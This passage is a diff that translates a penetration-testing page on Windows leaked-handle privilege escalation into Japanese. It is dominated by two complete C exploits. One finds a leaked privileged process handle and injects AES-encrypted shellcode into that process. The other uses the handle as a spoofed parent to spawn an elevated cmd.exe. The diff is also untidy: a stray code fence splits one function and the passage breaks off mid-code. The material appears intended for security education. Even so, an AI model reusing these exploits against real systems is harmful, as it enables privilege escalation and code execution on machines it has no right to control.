} - CloseServiceHandle( serviceControlManager ); - } +if ( serviceControlManager ) { +SC_HANDLE service = OpenService( serviceControlManager, +serviceName, SERVICE_QUERY_STATUS | DELETE ); +if ( service ) { +SERVICE_STATUS serviceStatus; +if ( QueryServiceStatus( service, &serviceStatus ) ) { +if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) +DeleteService( service ); +} +CloseServiceHandle( service ); +} +CloseServiceHandle( serviceControlManager ); +} } int _tmain( int argc, TCHAR* argv[] ) { - if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { - InstallService(); - } - else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { - UninstallService(); - } - else { - SERVICE_TABLE_ENTRY serviceTable[] = { - { serviceName, ServiceMain }, - { 0, 0 } - }; - - StartServiceCtrlDispatcher( serviceTable ); - } +if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { +InstallService(); +} +else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { +UninstallService(); +} +else { +SERVICE_TABLE_ENTRY serviceTable[] = { +{ serviceName, ServiceMain }, +{ 0, 0 } +}; - return 0; +StartServiceCtrlDispatcher( serviceTable ); +} + +return 0; } ``` - ### Exploit Example 1 {% hint style="info" %} -In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**. +実際のシナリオでは、脆弱なコードによって実行されるバイナリを**制御することはできない**可能性があります(この場合は_C:\users\username\desktop\client.exe_)。おそらく、プロセスを侵害し、特権のあるプロセスの脆弱なハンドルにアクセスできるかどうかを調べる必要があります。 {% endhint %} -In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.\ -The most interesting part of this code is located in `GetVulnProcHandle`. This function will **start fetching all the handles**, then it will **check if any of them belongs to the same PID** and if the handle belongs to a **process**. If all these requirements are completed (an accessible open process handle is found) , it try to **inject and execute a shellcode abusing the handle of the process**.\ -The injection of the shellcode is done inside the **`Inject`** function and it will just **write the shellcode inside the privileged process and create a thread inside the same process** to execute the shellcode). - +この例では、_C:\users\username\desktop\client.exe_ の可能なエクスプロイトのコードが示されています。\ +このコードの最も興味深い部分は、`GetVulnProcHandle` にあります。この関数は、**すべてのハンドルを取得**し、それらのうちどれかが同じPIDに属しているか、ハンドルが**プロセス**に属しているかを**チェック**します。これらの要件がすべて満たされた場合(アクセス可能なオープンプロセスハンドルが見つかった場合)、プロセスのハンドルを悪用してシェルコードを**インジェクトして実行**しようとします。\ +シェルコードのインジェクションは、**`Inject`** 関数内で行われ、単に特権のあるプロセス内にシェルコードを書き込み、同じプロセス内にスレッドを作成してシェルコードを実行します。 ```c #include #include @@ -334,202 +330,201 @@ The injection of the shellcode is done inside the **`Inject`** function and it w int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) { - HCRYPTPROV hProv; - HCRYPTHASH hHash; - HCRYPTKEY hKey; +HCRYPTPROV hProv; +HCRYPTHASH hHash; +HCRYPTKEY hKey; - if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ - return -1; - } - if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ - return -1; - } - if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ - return -1; - } - if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ - return -1; - } - - if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ - return -1; - } - - CryptReleaseContext(hProv, 0); - CryptDestroyHash(hHash); - CryptDestroyKey(hKey); - - return 0; +if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ +return -1; +} +if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ +return -1; +} +if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ +return -1; +} +if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ +return -1; +} + +if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ +return -1; +} + +CryptReleaseContext(hProv, 0); +CryptDestroyHash(hHash); +CryptDestroyKey(hKey); + +return 0; } HANDLE GetVulnProcHandle(void) { - - ULONG handleInfoSize = 0x10000; - NTSTATUS status; - PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); - HANDLE hProc = NULL; - POBJECT_TYPE_INFORMATION objectTypeInfo; - PVOID objectNameInfo; - UNICODE_STRING objectName; - ULONG returnLength; - HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); - DWORD dwOwnPID = GetCurrentProcessId(); - - pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); - pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); - pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); - pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); - pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); - printf("[+] Grabbing handles..."); +ULONG handleInfoSize = 0x10000; +NTSTATUS status; +PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); +HANDLE hProc = NULL; +POBJECT_TYPE_INFORMATION objectTypeInfo; +PVOID objectNameInfo; +UNICODE_STRING objectName; +ULONG returnLength; +HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); +DWORD dwOwnPID = GetCurrentProcessId(); - while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, - NULL )) == STATUS_INFO_LENGTH_MISMATCH) - phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); +pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); +pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); +pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); +pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); +pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); - if (status != STATUS_SUCCESS) - { - printf("[!] NtQuerySystemInformation failed!\n"); - return 0; - } +printf("[+] Grabbing handles..."); - printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); +while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, +NULL )) == STATUS_INFO_LENGTH_MISMATCH) +phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); - // iterate handles until we find the privileged process handle - for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) - { - SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; +if (status != STATUS_SUCCESS) +{ +printf("[!] NtQuerySystemInformation failed!\n"); +return 0; +} - // Check if this handle belongs to our own process - if (handle.UniqueProcessId != dwOwnPID) - continue; +printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); - objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); - if (pNtQueryObject( (HANDLE) handle.HandleValue, - ObjectTypeInformation, - objectTypeInfo, - 0x1000, - NULL ) != STATUS_SUCCESS) - continue; +// iterate handles until we find the privileged process handle +for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) +{ +SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; - // skip some objects to avoid getting stuck - // see: https://github.com/adamdriscoll/PoshInternals/issues/7 - if (handle.GrantedAccess == 0x0012019f - && handle.GrantedAccess != 0x00120189 - && handle.GrantedAccess != 0x120089 - && handle.GrantedAccess != 0x1A019F ) { - free(objectTypeInfo); - continue; - } +// Check if this handle belongs to our own process +if (handle.UniqueProcessId != dwOwnPID) +continue; - // get object name information - objectNameInfo = malloc(0x1000); - if (pNtQueryObject( (HANDLE) handle.HandleValue, - ObjectNameInformation, - objectNameInfo, - 0x1000, - &returnLength ) != STATUS_SUCCESS) { - - // adjust the size of a returned object and query again - objectNameInfo = realloc(objectNameInfo, returnLength); - if (pNtQueryObject( (HANDLE) handle.HandleValue, - ObjectNameInformation, - objectNameInfo, - returnLength, - NULL ) != STATUS_SUCCESS) { - free(objectTypeInfo); - free(objectNameInfo); - continue; - } - } +objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); +if (pNtQueryObject( (HANDLE) handle.HandleValue, +ObjectTypeInformation, +objectTypeInfo, +0x1000, +NULL ) != STATUS_SUCCESS) +continue; - // check if we've got a process object - objectName = *(PUNICODE_STRING) objectNameInfo; - UNICODE_STRING pProcess; +// skip some objects to avoid getting stuck +// see: https://github.com/adamdriscoll/PoshInternals/issues/7 +if (handle.GrantedAccess == 0x0012019f +&& handle.GrantedAccess != 0x00120189 +&& handle.GrantedAccess != 0x120089 +&& handle.GrantedAccess != 0x1A019F ) { +free(objectTypeInfo); +continue; +} - pRtlInitUnicodeString(&pProcess, L"Process"); - if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { - printf("[+] Found process handle (%x)\n", handle.HandleValue); - hProc = (HANDLE) handle.HandleValue; - free(objectTypeInfo); - free(objectNameInfo); - break; - } - else - continue; - - free(objectTypeInfo); - free(objectNameInfo); - } - - return hProc; -} +// get object name information +objectNameInfo = malloc(0x1000); +if (pNtQueryObject( (HANDLE) handle.HandleValue, +ObjectNameInformation, +objectNameInfo, +0x1000, +&returnLength ) != STATUS_SUCCESS) { + +// adjust the size of a returned object and query again +objectNameInfo = realloc(objectNameInfo, returnLength); +if (pNtQueryObject( (HANDLE) handle.HandleValue, +ObjectNameInformation, +objectNameInfo, +returnLength, +NULL ) != STATUS_SUCCESS) { +free(objectTypeInfo); +free(objectNameInfo); +continue; +} +} + +// check if we've got a process object +objectName = *(PUNICODE_STRING) objectNameInfo; +UNICODE_STRING pProcess; + +pRtlInitUnicodeString(&pProcess, L"Process"); +if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { +printf("[+] Found process handle (%x)\n", handle.HandleValue); +hProc = (HANDLE) handle.HandleValue; +free(objectTypeInfo); +free(objectNameInfo); +break; +} +else +continue; + +free(objectTypeInfo); +free(objectNameInfo); +} + +return hProc; +} int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) { - - LPVOID pRemoteCode = NULL; - HANDLE hThread = NULL; - BOOL bStatus = FALSE; - pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx"); - pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory"); - pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread"); - - pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); - pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); - - bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL); - if (bStatus != FALSE) { - WaitForSingleObject(hThread, -1); - CloseHandle(hThread); - return 0; - } - else - return -1; +LPVOID pRemoteCode = NULL; +HANDLE hThread = NULL; +BOOL bStatus = FALSE; + +pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx"); +pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory"); +pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread"); + +pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); +pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); + +bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL); +if (bStatus != FALSE) { +WaitForSingleObject(hThread, -1); +CloseHandle(hThread); +return 0; +} +else +return -1; } int main(int argc, char **argv) { - - int pid = 0; - HANDLE hProc = NULL; - // AES encrypted shellcode spawning notepad.exe (ExitThread) - char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 }; - unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a }; - unsigned int payload_len = sizeof(payload); +int pid = 0; +HANDLE hProc = NULL; - printf("My PID: %d\n", GetCurrentProcessId()); - getchar(); - - // find a leaked handle to a process - hProc = GetVulnProcHandle(); - - if ( hProc != NULL) { - - // d#Decrypt payload - AESDecrypt((char *) payload, payload_len, key, sizeof(key)); - printf("[+] Sending gift..."); - // Inject and run the payload in the privileged context - Inject(hProc, payload, payload_len); - printf("done.\n"); - } - getchar(); +// AES encrypted shellcode spawning notepad.exe (ExitThread) +char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 }; +```c +unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a }; +unsigned int payload_len = sizeof(payload); - return 0; +printf("自分のPID: %d\n", GetCurrentProcessId()); +getchar(); + +// プロセスへの漏洩したハンドルを見つける +hProc = GetVulnProcHandle(); + +if (hProc != NULL) { + +// ペイロードを復号化する +AESDecrypt((char *)payload, payload_len, key, sizeof(key)); +printf("[+] ギフトを送信中..."); +// 特権コンテキストでペイロードを注入して実行する +Inject(hProc, payload, payload_len); +printf("完了。\n"); +} +getchar(); + +return 0; } ``` - -### Exploit Example 2 +### 攻撃例2 {% hint style="info" %} -In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**. +実際のシナリオでは、脆弱なコードによって実行されるバイナリを制御することはできないでしょう(この場合は_C:\users\username\desktop\client.exe_)。おそらく、プロセスを侵害し、特権プロセスの脆弱なハンドルにアクセスできるかどうかを調べる必要があります。 {% endhint %} -In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148. - -Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing \_cmd.exe**\_\*\* will have the same token privilege as the open handle process\*\*. +この例では、オープンされたハンドルを悪用してシェルコードを注入し実行する代わりに、特権のあるオープンハンドルプロセスのトークンを使用して新しいハンドルを作成します。これは、138行から148行で行われます。 +関数`UpdateProcThreadAttribute`が、属性`PROC_THREAD_ATTRIBUTE_PARENT_PROCESS`とオープンされた特権プロセスのハンドルとともに使用されていることに注目してください。これにより、\_cmd.exeを実行する作成されたプロセススレッドは、オープンされたハンドルプロセスと同じトークン特権を持つことになります。 ```c #include #include @@ -547,161 +542,160 @@ Note how the **function `UpdateProcThreadAttribute`** is used with the **attribu HANDLE GetVulnProcHandle(void) { - - ULONG handleInfoSize = 0x10000; - NTSTATUS status; - PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); - HANDLE hProc = NULL; - POBJECT_TYPE_INFORMATION objectTypeInfo; - PVOID objectNameInfo; - UNICODE_STRING objectName; - ULONG returnLength; - HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); - DWORD dwOwnPID = GetCurrentProcessId(); - - pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); - pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); - pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); - pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); - pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); - printf("[+] Grabbing handles..."); +ULONG handleInfoSize = 0x10000; +NTSTATUS status; +PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); +HANDLE hProc = NULL; +POBJECT_TYPE_INFORMATION objectTypeInfo; +PVOID objectNameInfo; +UNICODE_STRING objectName; +ULONG returnLength; +HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); +DWORD dwOwnPID = GetCurrentProcessId(); - while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, - NULL )) == STATUS_INFO_LENGTH_MISMATCH) - phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); +pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); +pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); +pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); +pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); +pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); - if (status != STATUS_SUCCESS) - { - printf("[!] NtQuerySystemInformation failed!\n"); - return 0; - } +printf("[+] Grabbing handles..."); - printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); +while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, +NULL )) == STATUS_INFO_LENGTH_MISMATCH) +phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); - // iterate handles until we find the privileged process handle - for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) - { - SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; +if (status != STATUS_SUCCESS) +{ +printf("[!] NtQuerySystemInformation failed!\n"); +return 0; +} - // Check if this handle belongs to our own process - if (handle.UniqueProcessId != dwOwnPID) - continue; +printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); - objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); - if (pNtQueryObject( (HANDLE) handle.HandleValue, - ObjectTypeInformation, - objectTypeInfo, - 0x1000, - NULL ) != STATUS_SUCCESS) - continue; +// iterate handles until we find the privileged process handle +for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) +{ +SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; - // skip some objects to avoid getting stuck - // see: https://github.com/adamdriscoll/PoshInternals/issues/7 - if (handle.GrantedAccess == 0x0012019f - && handle.GrantedAccess != 0x00120189 - && handle.GrantedAccess != 0x120089 - && handle.GrantedAccess != 0x1A019F ) { - free(objectTypeInfo); - continue; - } +// Check if this handle belongs to our own process +if (handle.UniqueProcessId != dwOwnPID) +continue; - // get object name information - objectNameInfo = malloc(0x1000); - if (pNtQueryObject( (HANDLE) handle.HandleValue, - ObjectNameInformation, - objectNameInfo, - 0x1000, - &returnLength ) != STATUS_SUCCESS) { - - // adjust the size of a returned object and query again - objectNameInfo = realloc(objectNameInfo, returnLength); - if (pNtQueryObject( (HANDLE) handle.HandleValue, - ObjectNameInformation, - objectNameInfo, - returnLength, - NULL ) != STATUS_SUCCESS) { - free(objectTypeInfo); - free(objectNameInfo); - continue; - } - } +objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); +if (pNtQueryObject( (HANDLE) handle.HandleValue, +ObjectTypeInformation, +objectTypeInfo, +0x1000, +NULL ) != STATUS_SUCCESS) +continue; - // check if we've got a process object - objectName = *(PUNICODE_STRING) objectNameInfo; - UNICODE_STRING pProcess; +// skip some objects to avoid getting stuck +// see: https://github.com/adamdriscoll/PoshInternals/issues/7 +if (handle.GrantedAccess == 0x0012019f +&& handle.GrantedAccess != 0x00120189 +&& handle.GrantedAccess != 0x120089 +&& handle.GrantedAccess != 0x1A019F ) { +free(objectTypeInfo); +continue; +} - pRtlInitUnicodeString(&pProcess, L"Process"); - if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { - printf("[+] Found process handle (%x)\n", handle.HandleValue); - hProc = (HANDLE) handle.HandleValue; - free(objectTypeInfo); - free(objectNameInfo); - break; - } - else - continue; - - free(objectTypeInfo); - free(objectNameInfo); - } - - return hProc; -} +// get object name information +objectNameInfo = malloc(0x1000); +if (pNtQueryObject( (HANDLE) handle.HandleValue, +ObjectNameInformation, +objectNameInfo, +0x1000, +&returnLength ) != STATUS_SUCCESS) { + +// adjust the size of a returned object and query again +objectNameInfo = realloc(objectNameInfo, returnLength); +if (pNtQueryObject( (HANDLE) handle.HandleValue, +ObjectNameInformation, +objectNameInfo, +returnLength, +NULL ) != STATUS_SUCCESS) { +free(objectTypeInfo); +free(objectNameInfo); +continue; +} +} + +// check if we've got a process object +objectName = *(PUNICODE_STRING) objectNameInfo; +UNICODE_STRING pProcess; + +pRtlInitUnicodeString(&pProcess, L"Process"); +if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { +printf("[+] Found process handle (%x)\n", handle.HandleValue); +hProc = (HANDLE) handle.HandleValue; +free(objectTypeInfo); +free(objectNameInfo); +break; +} +else +continue; + +free(objectTypeInfo); +free(objectNameInfo); +} + +return hProc; +} int main(int argc, char **argv) { - - HANDLE hProc = NULL; - STARTUPINFOEXA si; - PROCESS_INFORMATION pi; - int pid = 0; - SIZE_T size; - BOOL ret; - Sleep(20000); - // find leaked process handle - hProc = GetVulnProcHandle(); +HANDLE hProc = NULL; +STARTUPINFOEXA si; +PROCESS_INFORMATION pi; +int pid = 0; +SIZE_T size; +BOOL ret; - if ( hProc != NULL) { +Sleep(20000); +// find leaked process handle +hProc = GetVulnProcHandle(); - // Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS - ZeroMemory(&si, sizeof(STARTUPINFOEXA)); +if ( hProc != NULL) { - InitializeProcThreadAttributeList(NULL, 1, 0, &size); - si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size ); - - InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); - UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL); +// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS +ZeroMemory(&si, sizeof(STARTUPINFOEXA)); - si.StartupInfo.cb = sizeof(STARTUPINFOEXA); - - // Spawn elevated cmd process - ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, - EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi ); +InitializeProcThreadAttributeList(NULL, 1, 0, &size); +si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size ); - if (ret == FALSE) { - printf("[!] Error spawning new process: [%d]\n", GetLastError()); - return -1; - } - } - - Sleep(20000); - 